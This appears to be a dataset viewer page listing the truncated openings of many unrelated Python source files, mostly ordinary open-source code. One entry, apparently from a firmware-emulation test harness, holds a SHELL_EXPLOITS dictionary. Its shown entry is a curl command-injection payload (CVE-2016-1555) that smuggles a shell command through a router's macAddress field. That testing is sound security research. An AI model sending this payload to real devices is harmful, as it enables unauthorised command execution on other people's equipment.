text
stringlengths
17
737k
# -*- coding: utf-8 -*- from python_hosts import Hosts, HostsEntry, utils
# Local settings for server_proj project. DEBUG = True TEMPLATE_DEBUG = DEBUG JSON_PRETTY_PRINT = False OAUTH_AUTHORIZE_VIEW = 'spotseeker_server.views.oauth.authorize' OAUTH_CALLBACK_VIEW = 'spotseeker_server.views.oauth.callback' ADMINS = ( # ('Your Name', 'your_email@example.com'), ) MANAGERS = ADMINS LABST...
import os import shutil import subprocess import re from tqdm import tqdm from ..helper import thirdparty_binary, make_path_safe from ..config import MonophoneConfig, TriphoneConfig, TriphoneFmllrConfig from ..multiprocessing import (align, mono_align_equal, compile_train_graphs, acc_sta...
#------------------------------------------------------------------------------- # # Controls shed weather station # # The MIT License (MIT) # # Copyright (c) 2015 William De Freitas # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (...
from django.core import meta from django.models import auth, core class Comment(meta.Model): db_table = 'comments' fields = ( meta.ForeignKey(auth.User, raw_id_admin=True), meta.ForeignKey(core.ContentType, name='content_type_id', rel_name='content_type'), meta.IntegerField('object_id',...
#!/usr/bin/env python # -*- encoding: utf-8 -*- import os, subprocess from datetime import * from sqlalchemy import * from sqlalchemy.orm import * import sqlalchemy.engine.url from django.utils import html, http from django import forms from django.forms.util import smart_unicode from itertools import chain from ngw.s...
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import division import gzip import io import logging import unittest import os import subprocess import struct import sys import six import numpy as np from gensim import utils from gensim.models.word2vec import LineSentence from gensim.models.fasttext im...
# -*- coding: utf-8 -*- """ Created on Wed Apr 30 11:43:52 2014 @author: Parke """ import numpy as np from scipy.interpolate import interp1d #InterpolatedUnivariateSpline as ius #pchip_interpolate import pdb def midpts(ary, axis=None): """Computes the midpoints between points in a vector. Output has leng...
from requests import ConnectionError, request from social_core.backends.oauth import BaseOAuth2 import urllib from social_core.exceptions import AuthMissingParameter, AuthStateMissing, AuthStateForbidden, AuthFailed import logging from social_core.utils import SSLHttpAdapter class Cernauth2(BaseOAuth2): """CE...
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this file, # You can obtain one at http://mozilla.org/MPL/2.0/. from auto_nag.bzcleaner import BzCleaner from auto_nag.bugzilla.utils import getVersions class MismatchPrioTrack(BzCle...
# Helper Methods for Main Application from urllib2 import urlopen from django.http import HttpResponse from django.utils import simplejson import json from django.utils.html import escape from string import replace from django.core import serializers from maploco.models import Story def blah_blah_blah(): return ...
import numpy import six import chainer from chainer.backends import _chainerx from chainer.backends import _cpu from chainer.backends import cuda from chainer.backends import intel64 import chainerx # Aliases from chainer._backend import Device from chainer.backends._chainerx import ChainerxDevice from chainer.backen...
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unlessf required by ap...
import re import os import sys import tempfile import ruamel.yaml from textstat.textstat import textstat import docassemble.base.config if not docassemble.base.config.loaded: docassemble.base.config.load() import docassemble.base.functions from docassemble.base.config import daconfig, hostname, in_celery DEBUG = d...
import plugin from twisted.python import log class Reverser(plugin.Plugin): def __init__(self): plugin.Plugin.__init__(self, "Reverser") def _reverseString(self, text): return text[::-1] def privmsg(self, server_id, user, channel, message): if message.startswith(".reverse"): ...
import logging, json from flask import current_app, redirect, Response from werkzeug.exceptions import Unauthorized from werkzeug.routing import RequestRedirect from itsdangerous import ( TimedJSONWebSignatureSerializer as Serializer, SignatureExpired, BadSignature, ) import sqlalchemy as sa from sqlalc...
from __future__ import with_statement import os from twisted.python import usage, log from twisted.python.filepath import FilePath from twisted.application import service, strports from webmagic.filecache import FileCache from minerva import website from demosminerva import demosminerva_site _defaultClosureLibrar...
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe from frappe.utils import getdate, nowdate, flt,cstr ,get_time from frappe import _ from frappe.model.document import Document from erpnex...
## DepEdit init ## from .depedit import DepEdit
load( "@d2l_rules_csharp//csharp:defs.bzl", "csharp_register_toolchains", "csharp_repositories", "import_nuget_package", ) def selenium_register_dotnet(): csharp_register_toolchains() csharp_repositories() native.register_toolchains("//third_party/dotnet/ilmerge:all") import_nuget_pac...
import unittest from dpu_utils.utils.iterators import shuffled_iterator class TestShuffleIterator(unittest.TestCase): def test_return_all_elements(self): for size in [100, 10000, 100000]: shuffled_dataset = list(shuffled_iterator(range(size))) self.assertNotEqual(shuffl...
''' LICENSING ------------------------------------------------- hypergolix: A python Golix client. Copyright (C) 2016 Muterra, Inc. Contributors ------------ Nick Badger badg@muterra.io | badg@nickbadger.com | nickbadger.com This library is free software; you can redistribute it and/o...
""" Implementation of the XDG Menu Specification Version 1.0.draft-1 http://standards.freedesktop.org/menu-spec/ """ from __future__ import generators import os, xml.dom.minidom from xdg.BaseDirectory import * from xdg.DesktopEntry import * from xdg.Exceptions import * import xdg.Locale import xdg.Config ELEMENT_NO...
# # Copyright 2018 Asylo authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writi...
#!/usr/bin/env python3 import config from utils.safe_schedule import SafeScheduler import subprocess import atexit import sys from time import sleep from glob import glob scheduler = SafeScheduler() def make_exit_graceful(): """ Register a hook to display a nice message instead of a traceback on Ctrl-C. ...
from __future__ import ( unicode_literals, absolute_import, print_function, division, ) import sys import struct import uuid import datetime from uuid import UUID from io import BytesIO import io from .utils import (read_u8, read_u16be, read_u32be, read_s32be, ...
import math import os.path import Sofa import json import Sofa import SofaPython.Tools from SofaPython.Tools import listToStr as concat from SofaPython.Tools import listListToStr as lconcat from SofaPython import Quaternion printLog = True def insertLinearMapping(node, dofRigidNode=None, dofAffineNode=None, cell=...
# Copyright (c) 2017, Frappe Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe from frappe.utils import flt, getdate, get_url, now from frappe import _ from frappe.model.document import Document from erpnext.control...
#!/usr/bin/python3 # -*- coding: utf-8 -*- # ========================================================================= # # Copyright © 2016 BIREME/PAHO/WHO # # This file is part of API-NLM. # # API-NLM is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Pu...
### $Id$ ### $URL$ from sfa.trust.certificate import Keypair, convert_public_key from sfa.trust.gid import * from sfa.util.faults import * from sfa.util.misc import * from sfa.util.method import Method from sfa.util.parameter import Parameter, Mixed from sfa.util.record import GeniRecord from sfa.util.genitable impor...
#!/usr/bin/env python3 """pythonium_core Usage: pythonium_core [-h][-d][-r] FILE [FILE ...] [-o FILE] Options: -h --help show this -v --version show version -o --output FILE specify output file [default: stdout] -d --deep generate file dependencies. If --output is not provided, it will gener...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright (C) 2017-2018 CIRCL Computer Incident Response Center Luxembourg (smile gie) # Copyright (C) 2017-2018 Christian Studer # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public Li...
# This file is part of Fedora Community. # Copyright (C) 2008-2009 Red Hat, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) ...
#!/usr/bin/python # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distribut...
from rest_framework import viewsets, generics, mixins, status from rest_framework.exceptions import ValidationError from rest_framework.permissions import IsAuthenticated, IsAdminUser from rest_framework.views import APIView from rest_framework.response import Response from rest_framework.authtoken.models import Token ...
''' Created on Mar 5, 2012 @package: internationalization @copyright: 2011 Sourcefabric o.p.s. @license: http://www.gnu.org/licenses/gpl-3.0.txt @author: Gabriel Nistor API specifications for localized messages. ''' from .source import Source from ally.api.config import service, call from ally.api.criteria import As...
from unittest import TestCase, main from os import remove, close from os.path import exists from tempfile import mkstemp from psycopg2._psycopg import connection from psycopg2.extras import DictCursor from psycopg2 import connect from psycopg2.extensions import (ISOLATION_LEVEL_AUTOCOMMIT, ...
import argparse import datetime import time from argh import arg from six import iteritems import pnc_cli.cli_types as types import pnc_cli.utils as utils from pnc_cli.swagger_client import ProductMilestoneRest from pnc_cli.swagger_client import ProductmilestonesApi from pnc_cli.swagger_client import ProductversionsA...
''' Created on 14.06.2011 @author: michi ''' import datetime from PyQt4.QtCore import QAbstractTableModel, QModelIndex, Qt, QVariant, QString from sqlalchemy.orm import object_mapper, ColumnProperty, RelationshipProperty from sqlalchemy.util import NamedTuple from ems import qt4 from ems.thirdparty.odict import Orde...
########################################################################### # (C) Vrije Universiteit, Amsterdam (the Netherlands) # # # # This file is part of AmCAT - The Amsterdam Content Analysis Toolkit # # ...
# Copyright 2013 Openstack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...
from django.contrib import admin from django.template.response import TemplateResponse from django.urls import path import django_rq from autoemails.models import EmailTemplate, Trigger, RQJob from workshops.util import admin_required scheduler = django_rq.get_scheduler('default') class EmailTemplateAdmin(admin.M...
#!/usr/bin/env python import sys import getopt import subprocess import contextlib SHELL_EXPLOITS = { 200 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF1;&reginfo=1&writeData=Submit\" http://%(target)s/boardData102.php", "grep -qs \"DEADBEEF1\" qemu.serial"), # CVE-2016-155...
from contextlib import contextmanager from zipfile import ZipFile, ZIP_DEFLATED import csv import datetime import os import pytz import shutil import tempfile from ichnaea.backup.s3 import S3Backend, compute_hash from ichnaea.models import ( MEASURE_TYPE_CODE, MEASURE_TYPE_META, MeasureBlock, ) from ichnae...
import time import re from util import namedtuple, get_hostname from checks.utils import TailFile from checks import AgentCheck # Event types we know about but decide to ignore in the parser IGNORE_EVENT_TYPES = [] # fields order for each event type, as named tuples EVENT_FIELDS = { 'CURRENT HOST STATE': na...
#!/usr/bin/python # # Copyright 2011 Webdriver_name committers # Copyright 2011 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 ...
""" Tests various aspects of rsession, like ssh hosts setup/teardown """ import py from py.__.test.rsession import report from py.__.test.rsession.rsession import RSession from py.__.test.rsession.hostmanage import HostManager, HostInfo from py.__.test.rsession.testing.test_slave import funcfail_spec,\ funcpass_...
import lmfit import numpy as np from numpy.linalg import inv import scipy as sp import itertools import matplotlib as mpl from collections import OrderedDict, defaultdict from pycqed.utilities import timer as tm_mod from sklearn.mixture import GaussianMixture as GM from sklearn.tree import DecisionTreeClassifier as DT...
from grapheneapi.grapheneclient import GrapheneClient from graphenebase import transactions, operations from graphenebase.account import PrivateKey from datetime import datetime import time import math from grapheneextra.proposal import Proposal import logging from . import deep_eq log = logging.getLogger(__name__) c...
#!/bin/python import urllib2 from lxml import etree from lxml import objectify import random import base64 print_query = False #Dump Object Function def dump(obj): for attr in dir(obj): print "obj.%s = %s" % (attr, getattr(obj, attr)) #Request parser def request(connection, call, parameters={}, append...
#!/usr/bin/env python __author__ = 'Thomas R. Lennan' __license__ = 'Apache 2.0' from uuid import uuid4 from pyon.core.bootstrap import IonObject from pyon.core.exception import BadRequest, Conflict, NotFound from pyon.core.object import IonObjectBase from pyon.datastore.datastore import DataStore from pyon.util.log...
#!/usr/bin/env python3 # Copyright (c) 2015-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # BlockStore: a helper class that keeps a map of blocks and implements # helper functions for ...
from mock import patch from mock import Mock from greengraph import Map from random import random import requests from matplotlib import image as img from StringIO import StringIO import numpy as np def green_box(left,bottom,right,top,size=(400,400)): if not (0 <= left <= right < size[0] and \ 0 <= bo...
# -------------------------------------------------------- # Fast R-CNN # Copyright (c) 2015 Microsoft # Licensed under The MIT License [see LICENSE for details] # Written by Ross Girshick # -------------------------------------------------------- import os import os.path as osp import PIL.Image # from lib.utils.cytho...
import logging import shlex from django.db import models from google.appengine.ext import db """ REMAINING TO DO! 1. Partial matches. These should be recorded as new Index instances, with an FK to the full term being indexes. Partials should only be recorded for between 4, and len(original_term) - 1 c...
import networkx as nx import string import os import itertools import math import autonetkit.config settings = autonetkit.config.settings import autonetkit.log as log import autonetkit.exception #TODO: fallback to python if cStringIO version is not available from cStringIO import StringIO from collections import defaul...
# -*- coding: utf-8 -*- from django.db import models from django.utils.functional import lazy from django.core.cache import cache from django.conf import settings from yats.models import tickets, organisation from yats.models import base import base64 import httplib2 try: import json except ImportError: from ...
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe, json from frappe.utils import cstr, flt, getdate from frappe import _ from frappe.utils.file_manager import save_file from frappe.transl...
from __future__ import unicode_literals import warnings from collections import defaultdict from copy import copy, deepcopy from threading import local from django.conf import settings from django import VERSION from django.core.cache import cache from django.db.models import signals from django.utils import six fro...
#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Scribber, a text editor that focuses on minimalism Icons provided by the Tango Desktop Project (http://tango.freedesktop.org/) """ # TODO: Spellcheck when exporting (?) gtkspell import pygtk pygtk.require('2.0') import gtk import pango import re class S...
"""Interact with the Circonus REST API.""" from datetime import datetime from functools import wraps from posixpath import sep as pathsep from urlparse import SplitResult, urlunsplit import logging import json from circonus.annotation import Annotation from circonus.tag import get_tags_with, get_telemetry_tag, is_ta...
""" Model definitions for the G-Node REST api. """ from model import Model, Field class Models: """ Just a class that defines some constants and a static factory method for models. Example: >>> signal = Models.create(Models.ANALOGSIGNAL) >>> signal.id = "id" """ DATAFILE = "datafile...
import sys import ctypes import weakref import threading import logging l = logging.getLogger('claripy.backend') class Backend(object): ''' Backends are Claripy's workhorses. Claripy exposes ASTs (claripy.ast.Base objects) to the world, but when actual computation has to be done, it pushes those ASTs ...
# -*- coding: utf-8 -*- ## ## $Id$ ## ## This file is part of CDS Indico. ## Copyright (C) 2002, 2003, 2004, 2005, 2006, 2007 CERN. ## ## CDS Indico is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either ver...
from pysb import * from pysb import ReactionPattern, ComplexPattern, ComponentDuplicateNameError from collections import namedtuple import textwrap BoundCondition = namedtuple('BoundCondition', ['agent', 'is_bound']) class Agent(object): def __init__(self, name, mods=None, mod_sites=None, active=None, ...
import os import re import subprocess import sys import time # Initial number of seconds to wait before retrying a command. INITIAL_BACKOFF = 2 # Number of retries when a command fails. RETRIES = 3 # Assets located here. ASSET_DIR = '/usr/local/share/assets' # Directory where the dev images are. DEV_IMG_DIR = ASSET...
#! /usr/bin/env python # -*- coding: utf-8 -*- # # tts.py --- # # Filename: tts.py # Description: # Author: Werther Zhang # Maintainer: # Created: Sun Sep 10 16:24:08 2017 (+0800) # # Change Log: # # import os import sys import baidutts import hashlib import commands from slackbot.bot import plugin_init from slackbot...
#!/usr/bin/python """ Classes and functions for fitting the diffusion kurtosis model """ from __future__ import division, print_function, absolute_import import numpy as np import scipy.optimize as opt import dipy.core.sphere as dps from dipy.reconst.dti import (TensorFit, mean_diffusivity, ...
from timeit import default_timer as timer import pandas as pd import numpy as np import scipy as sp import scipy.sparse from scipy.sparse import csr_matrix from scipy.sparse.linalg import svds from polara.recommender import data, defaults from polara.recommender.evaluation import get_hits, get_relevance_scores, get_ran...
"""Interface to the liblzma compression library. This module provides a class for reading and writing compressed files, classes for incremental (de)compression, and convenience functions for one-shot (de)compression. These classes and functions support both the XZ and legacy LZMA container formats, as well as raw com...
# Copyright 2017-2018 TensorHub, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writ...
import enum import tkinter from tkinter import ttk # represents the server, a channel or a PM conversation class ChannelLike: # userlist is None if this is not a channel # name is a nick or channel name, or None if this is the first # ChannelLike ever created, used for server messages def __init__(se...
#!/usr/bin/env python # -*- coding: utf-8 -*- import argparse from math import * import matplotlib.pyplot as plt from matplotlib import rcParams from matplotlib.colors import LogNorm from matplotlib.ticker import ScalarFormatter from numpy import * import sys from nema_common import * OUTPUT_FORMAT = ".png" def get...
#! /usr/bin/env python3 import sys, io, asyncio, random, decimal, collections, getpass, pprint from connectrum.client import StratumClient from pycoin.key.BIP32Node import BIP32Node from pycoin.ui import standard_tx_out_script from pycoin.tx.tx_utils import distribute_from_split_pool, sign_tx from pycoin.tx.Tx impor...
"""NTM Read/Write Head.""" import torch from torch import nn from torch.autograd import Variable import torch.nn.functional as F import numpy as np def _split_cols(mat, lengths): """Split a 2D matrix to variable length columns.""" assert mat.size()[1] == sum(lengths), "Lengths must be summed to num columns" ...
import time import numpy as np from itertools import izip from scipy.stats import linregress import sys #from fitness_tolerance import assign_fitness_tolerance # all fitness predictors should be designed to give a positive sign, ie. # number of epitope mutations # -1 * number of non-epitope mutations class fitness_pr...
__version__ = 'v1.2.6'
#!/usr/bin/python # Copyright (c) 2010 The Chromium OS Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """This module uprevs a given package's ebuild to the next revision.""" import fileinput import gflags import os import re import...
#!/usr/bin/evn python # encoding: utf-8 from pprof.project import ProjectFactory, log from pprof.settings import config from group import PprofGroup from os import path from plumbum import FG, local from plumbum.cmd import cp class Gzip(PprofGroup): """ Gzip """ testfiles = ["text.html", "chicken.jpg", "c...
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
#!/usr/bin/env python import sys import argparse import ramrod def _write_xml(tree, outfn): if not outfn: tree.write(sys.stdout, pretty_print=True) else: tree.write(outfn, pretty_print=True) def _validate_args(): pass def _get_arg_parser(): parser = argparse.ArgumentParser(descript...
# -*- coding: utf-8 -*- import json import json_merge_patch as jmp import copy import re import six from eclcli.common import command from eclcli.common import exceptions from eclcli.common import utils from eclcli.i18n import _ # noqa ROWS_FOR_SHOW = [ 'ID', 'Name', 'Description', 'Tags', 'Virt...
r""" Biot problem - deformable porous medium with a no-penetration boundary condition imposed in the weak sense on a boundary region, using the short syntax of keywords. The Biot coefficient tensor :math:`\alpha_{ij}` is non-symmetric. The mesh resolution can be changed by editing the `shape` variable. This example d...
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # libcloud.org licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not...
# Standard imports import json import requests import logging import arrow import urllib2 import uuid import random # Our imports import emission.core.get_database as edb key_file = open('conf/net/keys.json') key_data = json.load(key_file) url = key_data["habitica"]["url"] def habiticaRegister(username, email, p...
VERSION = '1.2-BETA1'
# -*- coding: utf-8 -*- # # Copyright (c) 2014-2015 Harvard, edX & OpenCraft # # This software's license gives you freedom; you can copy, convey, # propagate, redistribute and/or modify this program under the terms of # the GNU Affero General Public License (AGPL) as published by the Free # Software Foundation (FSF), e...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Module defining NumPy array-based distribution classes. Sparse means the length of outcomes and pmf need not equal the length of the sample space. There are two important points to keep in mind. 1) A sparse distribution is not necessarily trim. Recall, a distribut...
from __future__ import division from django.core.exceptions import ValidationError from django.utils import timezone from django.conf import settings import pytz from django.db import models from django.core.urlresolvers import reverse from django.core.validators import ( RegexValidator, ) class Contestant(mo...
#!/usr/bin/env python import sys import argparse import csv import dataset import datetime import json from preprocess_directory import B38Preprocessor from pipeinspector.lsf import LsfJob from sqlalchemy import Column, Text, Integer, Boolean, DateTime, UniqueConstraint from sqlalchemy.orm import relationship from sq...
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright (c) 2017 F5 Networks Inc. # Copyright (c) 2013 Matt Hite <mhite@hotmail.com> # GNU General Public License v3.0 (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBL...
import abc from collections import namedtuple from regulations.generator.layers.location_replace import LocationReplace class LayerBase(object): """Base class for most layers; each layer contains information which is added on top of the regulation, such as definitions, internal citations, keyterms, etc."...
# -*- coding: UTF-8 -*- # Copyright 2017 Luc Saffre # License: BSD (see file COPYING for details) """ .. autosummary:: :toctree: doctests demo memory fixtures """ from __future__ import print_function from __future__ import unicode_literals from lino.projects.std.settings import * from lino.api.a...
# Copyright 2017-2018 Rumma & Ko Ltd # License: BSD (see file COPYING for details) from decimal import Decimal from lino_xl.lib.courses.desktop import * from lino.api import _ from lino.core.gfks import gfk2lookup from lino.utils import join_elems from etgen.html import E from lino.modlib.users.mixins import My from...
# -*- coding: utf-8 -*- import itertools import scipy import numpy as np import scipy.linalg import scipy.optimize from base import Minimizer class ConjugateGradient(Minimizer): """ Linear Conjugate Gradient Method for quadratic function : f = 1/2 * xTAx -bx fprime = Ax - b """ def __init_...
import urllib2 import copy import logging from datetime import datetime try: import pytz except ImportError: pytz = None from boto.regioninfo import RegionInfo from boto.ses import SESConnection from django.http import HttpResponse, HttpResponseBadRequest from django.views.decorators.http import require_POST...
import click import json import os import time from pprintpp import pprint as pp from os import walk from retries import retries from hodor.cli import pass_context @click.group(short_help="Create assets in Google Maps Engine") # https://google-api-python-client.googlecode.com/hg/docs/epy/apiclient.http.MediaFileUpload...
# -*- coding: utf-8 -*- __version__ = '1.0.1'
import datetime import logging import time import pytz from cumulusci.robotframework.pageobjects import BasePage from cumulusci.robotframework.pageobjects import pageobject from locators import contacts_locators from locators import eda_lex_locators from robot.api import logger from robot.libraries.BuiltIn import Buil...
"""Copy number detection with CNVkit with specific support for targeted sequencing. http://cnvkit.readthedocs.org """ import collections import copy import glob import math import operator import os import sys import tempfile import pybedtools import numpy as np import toolz as tz from bcbio import utils from bcbio....